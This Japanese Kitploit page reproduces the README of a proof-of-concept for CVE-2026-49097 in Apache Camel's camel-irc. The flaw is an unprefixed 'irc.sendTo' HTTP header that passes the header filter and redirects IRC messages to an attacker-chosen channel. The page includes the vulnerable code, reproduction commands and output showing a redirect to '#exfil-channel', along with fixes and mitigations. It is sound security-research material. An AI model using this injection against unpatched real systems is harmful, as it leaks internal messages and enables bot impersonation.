Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-49097 — CVE-2026-49097 (Apache Camel camel-irc) のPoC再現コード: Camelプレフィックスが付いていない irc.sendTo ヘッダーはHTTPヘッダーフィルターをすり抜け、プロデューサーに設定されたチャンネルを上書きして、IRCメッセージを攻撃者が選択した宛先にリダイレクトします。4.14.8/4.18.3/4.21.0 で修正済み。 | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-49097
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHuboscerd/cve-2026-49097

CVE-2026-49097

CVE-2026-49097 (Apache Camel camel-irc) のPoC再現コード: Camelプレフィックスが付いていない irc.sendTo ヘッダーはHTTPヘッダーフィルターをすり抜け、プロデューサーに設定されたチャンネルを上書きして、IRCメッセージを攻撃者が選択した宛先にリダイレクトします。4.14.8/4.18.3/4.21.0 で修正済み。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-irc irc.sendTo ヘッダーインジェクション再現コード (CVE-2026-49097)

このプロジェクトは、Apache Camel の camel-irc コンポーネントにおける メッセージヘッダーインジェクション の実証コードです。追跡IDは CVE-2026-49097 です。IrcProducer は irc.sendTo ヘッダーを読み取り、送信する IRC メッセージの宛先を選択します。 このヘッダーが存在する場合、エンドポイントで設定されたチャンネルリストを上書きします:

root@kitploit:~
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

ヘッダー定数 IRC_SEND_TO のプレーンな値は irc.sendTo です。これは Camel / camel プレフィックスで始まらないため、 HTTP 境界で Camel ヘッダーの名前空間のみをブロックする HttpHeaderFilterStrategy は、インバウンド HTTP リクエストから Exchange へ そのまま通過させてしまいます。

HTTP コンシューマー(例: platform-http)を irc: プロデューサーに橋渡しするルートでは、任意の HTTP クライアントが irc.sendTo を 指定することで、メッセージを任意の IRC チャンネルまたはニックネームにリダイレクトでき、内部チャンネル宛てのコンテンツを 攻撃者が監視する宛先へ外部送信(exfiltration)したり、別のチャンネルでボットになりすましたりできます。同じ修正で、 さらに9つの irc.* 定数がリネームされましたが、irc.sendTo が直接悪用可能なものです。

この PoC は、メッセージリダイレクション / 情報開示 (CWE-20 → CWE-74) としてその影響を実証します。

Advisory: https://camel.apache.org/security/CVE-2026-49097.html

脆弱性の概要

この修正では、10個の irc.* ヘッダー定数が CamelIrc* 命名規則にリネームされ(例: irc.sendTo → CamelIrcSendTo)、 他のすべての Camel 制御ヘッダーと同様に HTTP 境界でフィルタリングされるようになりました。 CVE-2025-27636、CVE-2026-46454、CVE-2026-48206 と同じファミリーです。注: camel-irc は 4.21.0 時点で非推奨 (deprecated) です。

IRC サーバーが不要な理由

この脆弱性は完全に IrcProducer の宛先選択に存在し、IRC ソケットは単なる転送手段にすぎません。この再現コードは 本物の IrcProducer と 本物の irclib IRCConnection クラスを実行します。ただし、その send(...) (すべての do* コマンド(doPrivmsg を含む)が通過するメソッド)が、ソケットへ書き込む代わりに PRIVMSG の宛先を記録するように サブクラス化されています。小さなカスタム irc コンポーネントが、その記録用コネクションを提供します。IRC ネットワークには一切接続しません。

被害者側のルート

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

固定された内部チャンネル #alerts に転送する "notify" エンドポイントです。HTTP API には宛先パラメータはありません。 開発者は、クライアントがチャンネルを選択できないことを想定しています。攻撃者が irc.sendTo を設定すると、ボットは 攻撃者が選択したチャンネルに投稿します。

リポジトリ構成

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

前提条件

  • Docker および Docker Compose
  • Java 17+ および Maven 3.8+

再現手順

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

期待される出力

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

推奨される修正

4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629) にアップグレードしてください。アップグレード後、ヘッダーで IRC 宛先を設定するルートは、 CamelIrcSendTo という名前を使用する必要があります。なお、camel-irc は 4.21.0 時点で非推奨です。

緩和策

アップグレードまでの間、irc: プロデューサーの前に、信頼できないイングレスから camel-irc 制御ヘッダーを除去し (例: removeHeaders("irc.*"))、宛先は信頼できるソースから設定してください。

免責事項

この再現コードは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用に提供されています。 明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
コンポーネントcamel-irc
影響を受けるクラスorg.apache.camel.component.irc.IrcProducer が IrcConstants.IRC_SEND_TO ("irc.sendTo") を読み取る
CWECWE-20 (不適切な入力検証) / CWE-74 (インジェクション)
影響送信される IRC メッセージを攻撃者が選択したチャンネル/ニックネームへリダイレクト(外部送信、なりすまし)
前提条件HTTP コンシューマーを irc: プロデューサーに橋渡しするルートが存在すること。コンシューマーが認証なしの場合、認証不要
影響を受けるバージョン4.0.0 から 4.14.8 未満、4.15.0 から 4.18.3 未満、4.19.0 から 4.21.0 未満
修正済みバージョン4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
クレジットYu Bao (PayPal)